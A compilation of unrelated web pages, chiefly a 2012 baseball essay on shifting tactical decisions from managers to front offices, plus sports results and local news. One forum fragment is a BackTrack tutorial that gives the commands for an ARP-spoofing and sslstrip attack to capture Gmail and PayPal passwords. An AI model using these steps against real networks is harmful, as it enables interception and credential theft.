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Overthinking It
Managing Expectations: Baseball's Next Big Inefficiency
"The management and analysis of data, whether it be scouting reports, statistics, medical information or video, is a critical component of our operation. We look forward to developing a customized program that utilizes the most advanced and efficient technology available in the marketplace today to facilitate quicker, easier and more accurate access to all the sources of information we use to make baseball decisions."—Cubs President of Baseball Operations Theo Epstein, January 2012
"[Statistical analysis] helps but doesn't tell the whole story of the game. There is a lot of gut feeling you got to make. If you have a stat and see a flashing number and you see that this guy is doing very good against this other guy, you can use that in a game during a key situation. Yes. But we cannot just depend on stats alone. You got to depend on many other things… I don't like to become a fantasy manager. The goal for a good manager is to have players who are able to manage themselves on the field."—Unsuccessful Cubs managerial candidate Sandy Alomar Jr., November 2011
"I do my due diligence and video work and prepare as much as anybody. As far as the stats, those are what they are, and we can use them to our advantage. It's a big part of the game now. It's helping us win a lot of ballgames, the stats and the matchups. That's just part of the game now, and you use what you can."—Successful Cubs managerial candidate Dale Sveum, November 2011
Last month, I tried to size up the state of the game's front offices in an article called "Keeping Up with the Friedmans." My point, to the extent that I had one, was that hiring a smart, saber-savvy GM with an interdisciplinary background is no longer innovative. Treating team-building like a science instead of an art is now the norm. Anteing up for an executive capable of putting a progressive process in place was once a suitable subject for a bestselling book, but by the time Moneyball hit theaters, Oakland's story had spawned so many sequels that the A's edge had evaporated. In 2012, a baseball team being smart isn't the exception. It's the rule.
It's easy to see this process in action. A couple weeks after my article appeared—not that I'm taking any credit—new Astros GM Jeff Luhnow hired the Cardinals' Sig Mejdal as director of decision sciences.* A couple weeks after that, Houston made a scientific decision to hire Mike Fast, who joined former public PITCHf/x analysts like Joe P. Sheehan, Dan Fox, and Josh Kalk in transitioning to a top-secret team job. The Cubs, having already imported much of Boston's former braintrust, partnered with Bloomberg Sports to build "a state-of-the-art player evaluation system."** Just like that, two teams that had been criticized for being slow to adapt suddenly fell into lockstep with the rest of the league's forward thinkers, leaving precious few backward thinkers behind.
*Until recently, the Astros were a team that mostly tried to decide things like, "Which Phillies player and/or prospect should we try to trade for?" and "How much money can we offer Brandon Lyon without making him suspicious?" Now, not only do they have decision-making down to a science, but they're probably asking better questions, too.
**Disclaimer: I also work for Bloomberg Sports. I don't know if I had to mention that, but it seemed like something a professional journalist would say, and technically I'm supposed to be one.
We've established that teams are getting smarter. It's becoming increasingly difficult for them to discover something their competitors don't already know. And as I wrote in December, "the less variation there is among GMs, the stronger the correlation between spending and winning will become." But maybe what teams know isn't all that matters. Maybe what they do with what they know now matters more. Before we give up on the underdogs and leave baseball to the big-market teams, it's worth pausing to consider whether the biggest inefficiency out there is right in front of our faces.
"I think one of the pieces of our strategy going forward is to make decisions based on the best and most timely pieces of information that you can have at your fingertips at the time you need to make the decision."—Astros GM Jeff Luhnow, January 2012
As long as there's been baseball, there's been baseball's tendency toward specialization.
It used to be that baseball was played by amateurs. That's not to say the players weren't skilled, but they didn't devote all their time to playing and practicing. They spent their days doing whatever unsavory and unhygienic things 19th-century people did to make money, taking breaks to play baseball. Then people started paying to watch them play. Once someone realized there might be some money in being good at baseball, the first openly all-professional team came along and beat the amateurs 89 consecutive times. Now playing baseball is an occupation in its own right, and when those of us who pursued other occupations want to play, we're forced to seek out other people who aren't very good at it, either.
For a while, some players pitched and also played other positions. Some of them were among the best at both. But hitters got better at hitting, and pitchers got better at pitching, and before long—the occasional Brooks Kieschnick aside—it became almost impossible to split your time between pitching and hitting and have a career. Later, the American League let roughly half the pitchers stop pretending they could still compete at the plate. Hitters continued to improve, and teams reacted—maybe overreacted—by adding many more pitchers, each of whom pitched less. Monte Ward pitched 76 percent of the innings for the 1879 Providence Grays, who used two pitchers. Justin Verlander was the hardest-working pitcher in baseball last season and was on the mound only 17 percent of the time for the Tigers, who used 26.
Specialization isn't unique to baseball. You're reading these words on an advanced piece of technology that's probably a total mystery to you. Admit it—you have no idea how your computer works. Don't feel bad. I wrote the words you're reading, and I don't know either. Not only could you not assemble your computer from scratch, but you probably couldn't put it together if you had all the parts. You just press the power button, and it turns on. If one day you press the power button and it doesn't turn on, you'll call someone else who knows how to fix it. And that's okay. If you'd taken the time to learn how to build a computer, you wouldn't know everything else you know. Whatever it is you do know, the people who can fix your computer probably don't. (Except for your passwords and the websites you've been browsing. Those, they probably know.)
Now that I've mentioned it, you might feel miffed that you're so dependent on something you don't understand. But damage to your ego aside, the system works. If we all get good at something, we can collectively be better at more things. And whether we all understand how we do it or not, we can build amazingly complex machines capable of handling incredibly demanding tasks that we couldn't perform without them. Then we can use all that processing power to read articles about baseball on pixels instead of on paper.
What does not knowing how computers work have to do with baseball's biggest inefficiency? It's less noticeable, but coaching staffs have undergone the same transformation that players and society as a whole have. In baseball's early days, there was only one coach: the manager. As managing became more demanding, skippers began to delegate, led by John McGraw. That meant more coaches. At first, all-purpose coaches appeared, and then they too became more specialized. Pitching coaches. Bullpen coaches. Base coaches. Hitting coaches. Eventually, coaching staffs were capped at six (not including the manager), but teams are starting to find even that allowance restrictive. St. Louis has two hitting coaches, only one of whom wears a uniform. The Cardinals won't be the only ones this season, since the Padres think that idea sounds swell.
*Edit* Another sign of coaching specialization I meant to mention: we haven't seen a player-manager in the majors for almost 30 years.
But managers aren't slacking off with all that extra help around. With millions of dollars riding on the outcome of every game, it's even more important that they keep their players motivated and in line, a task that probably hasn't been made easier by sky-high salaries, a powerful Players Association, and the plethora of languages, nationalities, and ethnicities that make every major-league clubhouse a miniature Babel. On top of that, they have to spend hours each day providing injury updates, explaining decisions, and answering questions asked by mouth-breathers like me. They have to break bad news to struggling players. They have to report to their superiors. And on top of all that—which amounts to more than a full-time job—they're supposed to manage the games.
For the most part, they're very good at managing those games, though you might not know it to watch one on TV with a typical fan. The typical fan has been known to claim that anyone (him, for instance) could do better in the dugout. The typical fan is wrong about that. But someone probably could.
In a chapter in our upcoming Extra Innings book called, "How Can We Measure the Impact of Managers?", Steven Goldman looks into how we can—well, you can probably guess. What he found is that the worst managers may have cost their teams several wins in a single season through poor tactical decisions—namely, sac attempts, intentional walks, and low-percentage stealing. Managerial seasons that bad don't happen very often—skippers who cost their teams several wins were the Brandon Woods of bad managing. But there were some decisions that Steven's analysis didn't consider: starting the best possible players, removing starting pitchers at the optimal times, replacing them with the best possible relievers, pinch-hitting, hitting and running, ordering lineups, and the like.
It's hard to say how many wins a typical manager costs his teams through decisions we know to be suboptimal. But we do know a lot about how tactical choices affect a team's chances of victory, and teams know more than you or I (unless you work for a team, in which case congratulations on knowing things the rest of us don't and please stop hiring our authors). And what we know suggests that managers are either costing their teams wins or failing to secure them, depending on your point of view.
I don't entirely trust myself to reach that kind of conclusion. Most of my clubhouse visits have been brief. I'm a second-hand sabermetrician. I sometimes mentally mispronounce "misled" as "my-sild" thanks to a childhood reading session gone wrong. In short, I might not be right. So to sanity-test the theory that teams are hamstringing themselves by giving old-school managers relatively free rein when it comes to in-game moves, I did what any internet writer with delusions of grandeur and a brand-new BBWAA card on the way would do: I polled several front office sources.* Here's what I asked them:
*And by "several," I mean "seven." Why seven? Because that's roughly when I ran out of front office sources. Kevin Goldstein talks to seven front office sources before he gets out of bed in the morning. Let no one say I'm well-connected.
The responses ranged from "1-2" to "5-10." The average was approximately three wins. That seems reasonable, if not conservative, given how many crucial managerial decisions come in high-leverage spots. It's generally accepted that a manager can't make a bad team good or a good one bad, and that's probably true. But three wins is an awful lot. Three wins cost a fortune on the free agent market—much more than any manager might hope to make. And adding these three wins wouldn't require any elusive discovery—finally figuring out defense, say, or learning how to keep pitchers healthy. These three wins are achievable with what we already know.
Let me make a couple things clear. I don't think managers are dumb, and I don't think anyone with a win expectancy table could do their jobs better. But I do think teams might be well-served by altering what "manager" means, which they've done plenty of times in the past. Thirty years ago, it made sense for the manager to pull all the strings. Front offices weren't any better-equipped to make tactical decisions than the manager was. Things are different now. Managing people is just as important, and managing the media is more important than ever. But more of our hard-won knowledge about what makes teams win has found its way to the front office than the manager's office, which suggests that more of the decisions should, too.
If anything, I'm arguing for the same beer and tacos served in the front office to be displayed in the dugout. Those three wins aren't worth tuning out the intangibles. I'm not suggesting that teams simply tell the smartest stat guy on hand to take over, or that they drape a jersey over a laptop, insert some tobacco into its ExpressCard slot, and let it simulate every move before making one. (Laptops aren't allowed in the dugout, though that's probably the least of the problems with that idea.) But there are a few less drastic things they can do instead.
Most feasibly, teams can target a Joe Maddon type, a managerial candidate who can connect in the clubhouse but also has the open-mindedness to practice what the front office preaches. There may not be many Maddons out there, but there must be more on the way. Remember those Cubs quotes at the top of the page? There's a reason why only one of those guys got the job, and it likely has a lot to do with a willingness to make data-driven decisions.
A team could also reinvent the bench coach role. Instead of letting the manager bring on his own best drinking buddy to sit by his side, a team could make the bench coach its conduit for real-time tactical input. Maybe that six-coach limit could be expanded to include a coach devoted to tactics alone. More ambitiously, a manager could be brought on with the understanding that making moves that go against the sabermetric book isn't part of his purview. If that arrangement were to become known, of course, it could damage the manager's credibility in the clubhouse, jeopardizing everything else he's paid to do. So there's that to consider. But it might also prevent (or delay) a firing in the future, when a progressive front office comes to realize that it can't live with a manager who doesn't view the game the same way.
I probably don't need to tell you that there are a number of other reasons why most of these things haven't happened, and why they probably won't happen anytime soon. For one thing, there's the fact that they haven't been done before. A managerial candidate accustomed to making all the moves himself wouldn't take kindly to having that responsibility stripped from him, which might force an early adopter of the new managerial order to bypass the most attractive options on the market. (Remember how Hollywood Art Howe reacted to Hollywood Billy Beane's instructions to start Scott Hatteberg?) But being a general manager used to be a one-man job, too—now, even the smartest executive has to rely on a sizeable group of assistants who oversee certain aspects of his club's operation, freeing the GM to make more media appearances and tend to other recently-added aspects of the job. If a GM can surrender some control to run a team more efficiently, a manager can make the same sacrifice.
There's also the fact that managerial hirings aren't always the GM's call. Owner interference won't go away as long as rich guys with big egos and business backgrounds can buy baseball teams—in other words, forever, or at least as long as there are baseball teams to buy. It would take a combination of a particularly pliable owner and an especially autonomous GM to push for a fundamental restructuring of the balance of power between coaching staff and front office. Of course, if a team was crazy enough to try the "College of Coaches," anything is possible. I don't know from football, but my understanding is that most head coaches leave the tactical heavy lifting to their offensive and defensive coordinators, while they limit themselves to giving pep talks, looking angry on the sidelines, and taking occasional Gatorade baths. There might be something to that.
Just as it once might have seemed unthinkable that a manager would outsource most of his hands-on coaching to a group of subordinates, it seems far-fetched now that one might not make all of his team's tactical moves. But in a business as competitive as baseball, potential advantages don't stay unexploited for long. Teams are spending more and more money to acquire both data and the teams of executives qualified to distill it into actionable information. Front-office types become as impatient with misguided managerial moves as anyone watching at home—if not more so, since their own jobs, reputations, and investments of time are at stake. Managers will always be important, since their presence in the clubhouse means they know things a statistical model might not. But look at that Luhnow quote again. If teams are aiming to make "decisions based on the best and most timely pieces of information that you can have at your fingertips," how much longer will they entrust that information to someone liable to go with his gut?
Ben Lindbergh is an author of Baseball Prospectus. Follow @benlindbergh
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I really liked this Ben.
Jan 31, 2012 05:22 AM
I meant to say more, but mis-clicked. I think the 2011 playoffs heightened the need for additional help on the tactical side more than ever. I hope teams are closer to utilizing your ideas than you expect. It is hard to believe that teams will spend hundreds of millions of dollars on players, but not take the extra time to ensure managers can make proper decisions in the most important games of the year.
Jan 31, 2012 05:30 AM
I agree there is typically too much of a burden put on the manager in terms of sheer number of tasks.
Jan 31, 2012 07:50 AM
Matt Kory
Excellent work, Ben. But I can't shake the feeling I've read this before somewhere...
Jan 31, 2012 12:19 PM
Impossible. Not only has no thought that appeared in this piece ever been had by anyone else before, but I definitely didn't send you a draft of the article early this morning.
Jan 31, 2012 13:07 PM
Matt Kory
Yes... that's true. I certainly did not read a draft of the article early yesterday morning. I was.. uh... asleep! Yeah, that's the ticket.
Jan 31, 2012 14:16 PM
Ben--did you catch the story in the latest New Yorker about Brainstorming?
Feb 01, 2012 07:27 AM
I haven't read it yet. Just checked out the abstract--looks interesting. I always hated brainstorming in school.
Feb 01, 2012 08:36 AM
I agree with your article 100%.
Jan 31, 2012 13:01 PM
I believe that saying an obviously "wrong" move was due to a conversation with management would lead to a shorter career/quicker firing than simply obeying orders and taking the blame and fallout. Management does not want to be be blamed for those "wrong" moves. There's real value in being an organization guy.
Feb 03, 2012 08:24 AM
The NFL has already moved in this direction, with play-calling mostly delegated to offensive coordinators and defensive alignement decisions to defensive coordinators. So there's a clear and obvious precedent for this sort of development.
Jan 31, 2012 14:32 PM
Marc Normandin
I don't know from football, but my understanding is that most head coaches leave the tactical heavy lifting to their offensive and defensive coordinators, while they limit themselves to giving pep talks, looking angry on the sidelines, and taking occasional Gatorade baths. There might be something to that.
Jan 31, 2012 14:34 PM
Incomplete, dude. You forgot the most important part, which consists of getting paid by "beer" companies to be filmed saying incredibly stupid things. This is why Rex Ryan needs to retire yesterday: He won't need to say that stuff pro bono anymore!
Jan 31, 2012 17:48 PM
Is it just me or does Alomar sound incredibly obtuse in that quote? Wow...
Jan 31, 2012 14:55 PM
Are we sure some of this delegation hasn't already been occurring? I feel like the Don Coopers and Dave Duncans of the world probably have a lot of input on at least pitching changes.
Jan 31, 2012 19:37 PM
I suspect this type of team would not be a magnet for the best coaches, and by coaches, I mean all the coaches throughout the system who help players get to and excel at the Major League level. The numbers of baseball are as much the consequences of years of coach/player interactions as they are the in-game decision of the manager. Stepping too far into the coaches terrain is likely to rub coaches the wrong way, and they'll go to teams where there is more autonomy.
Jan 31, 2012 20:35 PM
Wonderful article, Ben. I have given the subject a fair bit of thought since the Jays hired John Farrell last year. There was lots of talk about increased analytics in the day to day managing of the team. And then the season started. And the Jays ran Luke crazy. Not just Rajai Davis, but lots of guys. And then they calmed down. As if a storm had ended. Yet their reputation as watching base runners was maintained. And teams were apprehensive when the Jays had runners on first with second open. And so I thought, maybe Farrell gave away a few outs in April and May for a few runs in August and September. Is that crazy? Can the best of analysis not account for mind games?
Feb 01, 2012 07:46 AM
It's possible. Or maybe they shifted tactics on the fly. In recent years, I've seen a bunch of managers pay lip service to sabermetrics in their interviews and introductory press conferences before seemingly abandoning its principles after taking over. Maybe that's because they get overwhelmed by their other responsibilities and fall back on old habits. And maybe it's because they know managing against the traditional "book" will subject them to even more scrutiny.
Feb 01, 2012 08:40 AM
Feb 01, 2012 08:41 AM
Cool article. I have thought about this topic before and wondered if/when the transition would happen.
Feb 02, 2012 15:28 PM
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DENVER -- Don Mattingly knows this won't be the last time he jogs out to right field to check on his rookie phenom.
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alan... wrote:Cittasanto wrote:I had missed the "not" underlined so... but I find your achnoledgement of this typo funny as my user name used to be Manapa.
do you use a spell checker? I use one as my spelling can be quite bad. you can download them for browsers.
but think of it as the Karaniya metta sutta says of the practice of metta "Whether standing or walking, seated or lying down, so long as one is free from drowsiness, this should be recollected"
i use spell check but with all the pali words tons of stuff is underlined so i sometimes accidentally ignore stuff as i'm used to ignoring all the pali words with red lines underneath.
what about your previous user name?
I used to go by Manapa, so when you said man, I found it funny


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England's Max Whitlock won his third gold of the Commonwealth Games as he was crowned men's floor champion at the SSE Hydro on Thursday.
Whitlock claimed the title with a score of 15.533 after a near-faultless routine which was full of flair, finishing ahead of Canada's Scott Morgan who took silver with 15.133, while 14.550 gave New Zealand's David Bishop bronze.
The 21-year-old Englishman added the top floor accolade to Tuesday's team gold and Wednesday's all-around title, with finals on the pommel horse, rings and parallel bars still to come.
Bishop was first on the floor and tumbled well to set a strong early target, before Wales' Clinton Purnell moved into second place with a tally of 14.366.
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Scotland's Dan Keatings put his London 2012 heartbreak behind him by winning gold on the pommel horse.
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The 16-year-old scored 14.766 on vault one before her second effort of 14.500 gave her an average of 14.633 and propelled her to the top of the standings.
Alex Dowsett won a brilliant gold for England in the men's road time trial.
Dowsett, silver medallist four years ago in Delhi, came from behind to complete the 38.4-kilometre route, which began and finished at Glasgow Green, in 47 minutes and 41.78 seconds.
Australia's Rohan Dennis, who had led for much of the race, was second in 47mins 51.08secs, and Wales' Geraint Thomas third in 47:55.82.
Scotland's David Millar, the defending champion, was eighth in 49:56.23.
Sophie Tolchard, Ellen Falkner and Sian Honnor claimed a commanding victory over Australia to take bowls gold in the women's triples at Kelvingrove.
The English trio accelerated into an 11-0 lead after three of 18 ends and led 20-1 after 10 ends before completing a 22-4 victory over Australia's Lynsey Clarke, Karen Murphy and Kelsey Cottrell.
The match came to a conclusion after 15 ends, with Australia conceding to the 'mercy' rule as the contest came to a premature end.
England's Jack Laugher blew the chance to land his second Commonwealth gold in as many days after he was forced to accept silver in the men's 3m springboard final.


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With sunshine beating down on the famous GP track, a first this weekend, free practice one got underway and was definitely the most competitive of the two sessions. From the off, Team WFR's Jody Fannin and Warren Hughes were on the pace, continuing their good form from round one.
Italian Ginetta team, Nova Race, making their British GT debut this weekend initially led the mass of cars that would eventually challenge Optimum's Lee Mowle and Ryan Ratcliffe. Team WFR and APO Sport were the next best teams running a G50.
Fellow debutants Jota Sport, running the all-new Mazda MX-5 GT4 enjoyed good form, finishing fourth and third in the respective sessions.
However, it was championship leaders, Fannin/Hughes and Lotus Sport UK's Sailesh Bolisetti/Phil Glew that would provide the real challenge to Optimum for overall honours in the first session at the Nürburgring.
Bolisetti/Glew would finish top in the second session, with APO Sport's Alex Osborne and James May second, Mazda third, and Nova Race taking fourth having finished sixth in the first session.
Qualifying begins this evening, with two 15 minute sessions beginning at 18:10 CET, separated by a five minute break.
Free Practice 1- Top Five Times GT4
1. Ryan Ratcliffe/Lee Mowle Optimum Motorsport Ginetta G50 1:53.085
2. Jody Fannin/Warren Hughes Team WFR Ginetta G50 1:54.006
3. Sailesh Bolisetti/Phil Glew Lotus Sport UK Lotus Evora GT4 1:54.478
4. Mark Ticehurst/Owen Mildenhall Jota Sport Mazda MX-5 GT4 1:54.797
5. Zoe Wenham/Dom Evans Century Motorsport Ginetta G50 1:56.045
Free Practice 2- Top Five Times GT4
1. Sailesh Bolisetti/Phil Glew Lotus Sport UK Lotus Evora GT4 1:53.049
2. Alex Osborne/James May Apo Sport Ginetta G50 1:53.402
3. Mark Ticehurst/Owen Mildenhall Jota Sport Mazda MX-5 GT4 1:53.960
4. Marco Cassera/Piero Folgio Nova Race Ginetta G50 1:54.072
5. Zoe Wenham/Dom Evans Century Motorsport Ginetta G50 1:54.766


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"I've been doing this since I was just a kid in Chicago and Nashville," musician Eric George tells me over coffee. "There are sometimes so many roads that appear that it becomes tough, but knowing there are other people out there on that same path and winning this award…it's nice to be part of such a great artistic community."
George is speaking of his New Mexico Music Award (NMMA) in the Best Rock CD category, an accolade he picked up for his deeply personal new Man No Sober EP, Gravitas. George says that the songs were written from a recent change in perspective and his attempts to make his world better.
"Whatever that means," he says with a laugh.
Now, to be fair, my beat is really just Santa Fe, but all the same, it seems to me that if you take a quick look over many of the recently announced winners of the 2014 NMMAs, most names aren't immediately recognizable. Yes, among the celebrated artists and engineers are well-known locals such as Jono Manson (Norman Petty Producer Award), Faith Amour and John Rangel (Best Jazz CD), Casso Vita (Best Video), David Cragin (Best Recording Engineer) and Martha Reich (Folk), but delving a little deeper (and with respect to the artists), names like Man Full of Holes, Dave Tutin, Bambi Wolf and other artists whom I'm afraid I just don't know, it seemingly becomes apparent that there are two ways to look at these awards:
- A prestigious accolade
bestowed on the lucky few
- A mere marketing tool that creates a talking point for future successes
I know, I know—this second point makes me kind of sound like a dick, but it does seem like a fair number of what I'm going to call "hobby musicians" were given awards. Y'see, while there really is no way for me to be aware of every single human being in the state who sits at a piano, picks up a guitar or belts out a tune, I'd still like to think that I've heard a whole mess of New Mexico artists and was disappointed to learn that so few of these made the cut. So, I got to thinking: Why would this be? And the answer surprised even me.
First of all, this column started out in my mind as an indictment of what I believed was a flawed system that provides meaningless statuettes to any musician willing to pony up the $23 entry fee (that's per category) and $60 awards show ticket price, but I've since learned that the NMMAs are a far more noble and helpful organization. In addition to the stringent judging process that finds industry pros from all over the world evaluating music produced solely in New Mexico, there's a philanthropic method to the madness.
Twenty-seven-year NMMA vet and producer of the banquet since 2005, Jose Ponce, says that there is much more that goes into the awards than meets the eye.
"Some of the money goes to producing the event dinner; all the lights, the food, the space and everything, and some goes into free business workshops for musicians in things like copyright, marketing and recording," Ponce says. Last year alone provided nearly ten free workshops in Santa Fe and Albuquerque.
"Everything else goes to the Eric Larson Endowment at the University of New Mexico," he adds.
Named for one of the NMMA co-founders, the endowment has provided scholarships for juniors and seniors in music and recording arts programs at UNM since 2008. Ponce estimates that they've awarded somewhere in the neighborhood of $10,000 in that time.
As for the ultimate goal of the awards, Ponce has high hopes for the future.
"It's my personal goal to make New Mexico the songwriting capital of the country," he says. "We want to promote New Mexican studios, producers, engineers and artists because everybody involved in music here is world-class…the music industry could be as big or bigger than the film industry for New Mexico, and our goal is to help make sure that happens."
OK, wow. That shuts me up. Sorry, NMMAs…turns out y'all are awesome.


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Eye trauma refers to damage caused by a direct blow to the eye. The trauma may affect not only the eye, but the surrounding area, including adjacent tissue and bone structure.
There are many different forms of trauma, varying in severity from minor injury to medical emergencies.
When the eye is hit with blunt force, it suddenly compresses and retracts. This can cause blood to collect underneath the hit area, which leads to many of the common symptoms of eye trauma.
Symptoms of eye trauma may include:
In minor cases of trauma, such as a black eye from a sports injury, applying cold to the affected area can help bring swelling down, and allow the affected area to heal faster. However, even in cases where trauma seems minor, every eye injury should be given medical attention.
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An action-oriented publication, this booklet examines some of the central themes which are integral to the status of women in Muslim societies: the multiple sources and forms of law; family, patriarchy, and laws; women and the culture of violence; nationalism, identity, and women; political and social dynamics of power. It also details a number of strategies, both successful and less successful, which have been used by women in Muslim societies to meet the challenges they face.
The Unholy Alliance between some progressives and the fundamentalists has sought to take advantage of state policies of multiculturalism and the painful realities of continuing racial discrimination to demand special rights for the 'Muslim community '. But these special rights inevitably involve anti-women practices and highly regressive interpretations of Islam. They also unquestioningly presume that all migrants from Muslim contexts identify as Muslim.
In much of the Muslim world, women's lack of knowledge about statutory provisions and about the sources of customs and practices applied in their immediate community obstructs their ability to change their circumstances. This understanding was the basis for the Women & Law in the Muslim World Programme of the international solidarity network, Women Living Under Muslim Laws (WLUML).
This kit provides information on the existing processes and how NGOs can intervene/participate in the review - whether they choose to stay at home, participate in the UN processes or engage exclusively in the NGO events and forums.
En octobre 1997, 35 participantes actives du réseau (issues de 18 pays différents) se sont rencontrées à Dhaka dans le but de développer le troisième Plan d'Action du WLUML. Nous avons ré-examiné d'anciens problèmes et aussi identifié certaines difficultés qui émergent. Nous avons débattu de la meilleure stratégie pour répondre, en tant que réseau, à ces besoins tout en sachant que nous devons agir dans des circonstances qui apparaissent parfois insurmontables dans nos contextes spécifiques.
The Dossier explores and synthesizes a broad range of feelings, interpretations and strategies of women on issues of feminism, nationalism, internationalism, and religion.
Papers from the 'teach-in' organised by Act Together, Southall Black Sisters, Women Against Fundamentalisms, Women in Black (London), Women's International League for Peace and Freedom and WLUML, held on 8 September 2002 at the School of Oriental and African Studies in London, UK.
This Occasional Paper features recent activities of Act Together, one of WLUML's networking organisations based in the UK. In July 2006 Act Together, Women's Action for Iraq, hosted Sundus Abass, Director of Women in Leadership Institute (Baghdad) in London for 15 days. WLUML helped to make the visit possible, as part of various network activities in support of women in post-conflict situations, such as in Afghanistan, Iraq and Sri Lanka. This publication is a record of some of the activities that happened during those 15 hectic days. The aim of the visit was to highlight the work that Iraqi women are doing to try to amend the new Iraqi Constitution, in particular to ensure that the pre-existing Iraqi Personal Status Law, one of the more egalitarian family laws in the Middle East, is not replaced by Article 41.


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Stories about what the passage of time can do to someone. When each story starts, the world's aligned one way. Years pass—or sometimes just months—and everything's different.
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- "The Hiker and the Cowman", Jon Langford and John Rauhaus, with apologies to Rodgers and Hammerstein


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Thanks for posting the tutorial to the new forums, it's good to see you here.
EDIT: Answer to the below: You're welcome, g0tmi1k!
I deleted the warning since it is fixed now, there's no reason to leave it here.
Watch video on-line: http://g0tmi1k.blip.tv/file/2345515
Download video: http://www.mediafire.com/?nbx8odfabbgf21j
What is this?
This video shows that with SSL encryption, it isn't secure. Proof of this is seen by showing a web based email (Google Mail) & online bank (PayPal) password.
How does this work?
> Performing a 'Man In The Middle' attack therefore all the traffic flows through the attacker.
> Picks out HTTP traffic from port 80 and then packet redirection / forwarding onto a different port.
> SSLStrip is then listening on that port and removes the SSL connection before passing it back to the user.
> ettercap then picks out the username & password.
What do I need?
> sslstrip
> arpspoof
> ettercap
*all in BackTrack 4 Pre Final*
Network Setup:
Targets IP: 192.168.1.6
Gateway : 192.168.1.1
Name: sslstrip
Version: 0.2
Home Page: http://www.thoughtcrime.org/software...rip/index.html
Download Link: http://www.thoughtcrime.org/software...rip-0.2.tar.gz
Name: arpspoof (DSniff)
Version: 2.3
Home Page: http://www.monkey.org/~dugsong/dsniff/
Download Link: http://www.monkey.org/~dugsong/dsniff/dsniff-2.3.tar.gz
Name: ettercap
Version: 0.7.3
Home Page: http://ettercap.sourceforge.net
Download Link: http://prdownloads.sourceforge.net/e...ar.gz?download
Commands:Notes:Code:kate /etc/etter.conf >*uncomment redir_command_off in the iptables, linux section* echo 1 > /proc/sys/net/ipv4/ip_forward arpspoof -i wlan0 -t 192.168.1.6 192.168.1.1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 ettercap -T -q -i wlan0 sslstrip -a -k -f ettercap -T -q -i wlan0
You could save the packets instead, and then look through it later, in case ettercap doesn't pick up the information you need!
Song: 16 Bit Lolitas - Nobody Seems To Care
Video length: 03:55
Capture length: 4:41
Blog Post:http://g0tmi1k.blogspot.com/2009/07/...ssl-https.html
Forum Post: http://www.backtrack-linux.org/forums/backtrack-videos/1659-%5Bvideo%5D-how-snifff-ssl-https-sslstrip.html
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Have you...g0tmi1k?
Thanks for posting the tutorial to the new forums, it's good to see you here.
EDIT: Answer to the below: You're welcome, g0tmi1k!
I deleted the warning since it is fixed now, there's no reason to leave it here.
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Great Video thanks for sharing i marked this on my favorites..Great song..Whats the group of the song
Hi gotm1lk,
what a great video. Well done. Could you come out with more tutorials? or you could point me to some other resources as well.
There is my blog for the ones which I have done...*also have added most of them here*. I'm trying to do, at least a one video once a month.
For other resources , keep your eye here...if it was anything like the old forum, there will be alot of good info posted. backtrack-linux just needs time, as its new! (=
Have you...g0tmi1k?
Theres also xhydra if you dont like the CLI helps with trial and error type of attacks
I cant see the reason for using both ettercap AND arp-spoof. You can do the arp-poisoning using ettercap, no need for arp-soof.
(If I am mistaken, please do correct me)
That was the great posting.
I have doubt
I dont find wlan0 in my lan.
Can i interchange, it will eth0
will it work???


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The image was found via a new viral marketing effort from Warner Bros., unlike that used for the last film. Technophiles were able to analyze audio on thedarkknightrises.com which in turn revealed a Twitter hashtag - #thefirerises- and account where the photo was hidden. I'm all for viral marketing, but even this goes way over my head. Either way, fans can look forward to Tom Hardy as Bane, a role which I can easily see him in... given some CG muscles.


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Assistant DA Speaks to WCU Students about DUI
Hattiesburg, Miss., January 29, 2013 - Josh Fortenberry, Assistant District Attorney for Forrest and Perry Counties, spoke about the dangers and impact of driving under the influence of alcohol to three of Dr. Benjamin Waddle's health classes at William Carey University January 24-25. Fortenberry and District Attorney Patricia Burchell firmly believe that knowledge about the law and consequences of driving under the influence is one of the best preventative measures available.
"Our office always welcomes any opportunity to reach out to young adults and educate them about the law, and the role of the District Attorney's office in helping to keep our community safe," Fortenberry said.
Fortenberry graduated summa cum laude from The University of Southern Mississippi in 2002 before receiving his Juris Doctorate from the University of Mississippi in 2005. He practiced law in private practice for five years in Marion County before taking a position with the Forrest County District Attorney's Office in January 2011.


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At Finnegan, we don't just value diversity, we live it every day in thought, approach, and solutions. In fact, it's so much a part of our culture, we are consistently ranked as one of the nation's top law firms for overall diversity. In the Vault Guide's 2018 survey of the leading law firms for women, minorities, and overall diversity, Finnegan ranks in the top 10 in each of these categories. American Lawyer similarly includes the firm in the top 20 in its 2015 survey of the leading 100 U.S. law firms for overall diversity, and in 2017, we earned a perfect score of 100 percent on the Human Rights Campaign Foundation's 2017 Corporate Equality Index (CEI), a national benchmarking survey and report on corporate policies and practices related to lesbian, gay, bisexual, and transgender (LGBT) workplace equality. We are particularly pleased to be identified by Working Mother magazine as a top 100 company for working mothers for the last five years. Only four law firms in 2016 received this distinguished recognition.
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The TwinsRiddles are little poems or phrases that pose a question that needs answering. Riddles frequently rhyme, but this is not a requirement.
The Twins divulging deep things inside,
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Crucial moments of time or ways to prospects better,
Building necessities, extras to what holds your letters.
What are we?
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-The Twins that divulge deep things inside are the eyes. Often referred to as the 'WINDOWS TO THE SOUL.'
-Billionaire 1 is of course the Top Billionaire, or Bill Gates. [MICROSOFT] WINDOWS, his creation is no doubt a part of his proud accomplishments.
-A WINDOW is a moment in time in which something must take place. It is limited, or crucial. (e.g. "We only have a 30 sec. window to launch")
-A WINDOW OF OPPORTUNITY is a possibility, or prospect of something better.
-Buildings need WINDOWS, but ENVELOPE WINDOWS, aren't necessary, but are added so one can see the inside of a letter at a glance.
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Guest speakers include Mario DeAnda, director of post-secondary programs for Big Picture Learning. The nonprofit oversees a network of some 100 charter high schools, with headquarters in Rhode Island and San Diego and offices in the Netherlands and Australia. Representatives from MetWest, a Big Picture high school, will be at the meeting.
The school will be seeking a charter from the Sequoia district, spokeswoman Charlene Margot told the Almanac.
Academic classes are a part of the program at a Big Picture school, but a principal focus is discovering what really interests students and crafting paths toward futures based on those interests, whether academic or career-oriented. Project-based learning, a focus on the individual student, and internships driven by student initiative are central to the program.
A Big Picture school seeks seventh- and eighth-graders who are disengaged in the traditional school environment and face the prospect of not graduating from high school, Ms. Margot told the Almanac in 2011.
Among the local advisers: San Mateo County schools Superintendent Anne E. Campbell; Linda Darling-Hammond, a professor of education at Stanford University; Thomas Mohr, newly elected to the board of the community college district; Pat Gemma, a former Sequoia district superintendent; and Philippe Rey, the executive director of Adolescent Counseling Services.
